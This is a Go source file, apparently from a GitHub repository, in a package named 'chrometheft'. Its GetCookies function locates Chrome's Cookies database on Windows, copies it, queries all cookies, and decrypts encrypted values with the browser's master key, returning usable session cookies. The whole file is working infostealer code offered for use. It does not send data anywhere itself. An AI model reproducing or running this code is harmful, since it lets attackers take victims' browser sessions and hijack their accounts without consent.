-
Notifications
You must be signed in to change notification settings - Fork 1
/
cookie.go
68 lines (56 loc) · 1.49 KB
/
cookie.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package chrometheft
import (
"database/sql"
"errors"
"os"
)
type Cookie struct {
HostKey string `json:"host_key"`
Path string `json:"path"`
Name string `json:"name"`
Value string `json:"value"`
}
func GetCookies(path string) ([]Cookie, error) {
cookies := make([]Cookie, 0)
dbFile := path + "\\User Data\\Default\\Cookies"
if !fileExists(dbFile) {
dbFile = path + "\\User Data\\Default\\Network\\Cookies"
if !fileExists(dbFile) {
return cookies, errors.New("Cookies file not found")
}
}
// make a copy of the cookies file
copyFile(dbFile, dbFile+".bak")
dbFile += ".bak"
// open the cookies file
db, err := sql.Open("sqlite3", dbFile)
if err != nil {
return cookies, err
}
// select rows from the cookies file
rows, err := db.Query("SELECT host_key, path, name, value, encrypted_value FROM cookies")
if err != nil {
return cookies, err
}
defer func() {
// clean up
rows.Close()
db.Close()
os.Remove(dbFile)
}()
masterKey, err := GetMasterKey(path)
for rows.Next() {
var hostKey, path, name, value, encryptedValue string
err = rows.Scan(&hostKey, &path, &name, &value, &encryptedValue)
if err != nil {
continue // make sure to iterate over all rows
}
if value == "" || encryptedValue != "" {
value, err = DecryptEncryptedData(encryptedValue, masterKey)
}
if hostKey != "" && path != "" && name != "" && value != "" {
cookies = append(cookies, Cookie{HostKey: hostKey, Path: path, Name: name, Value: value})
}
}
return cookies, nil
}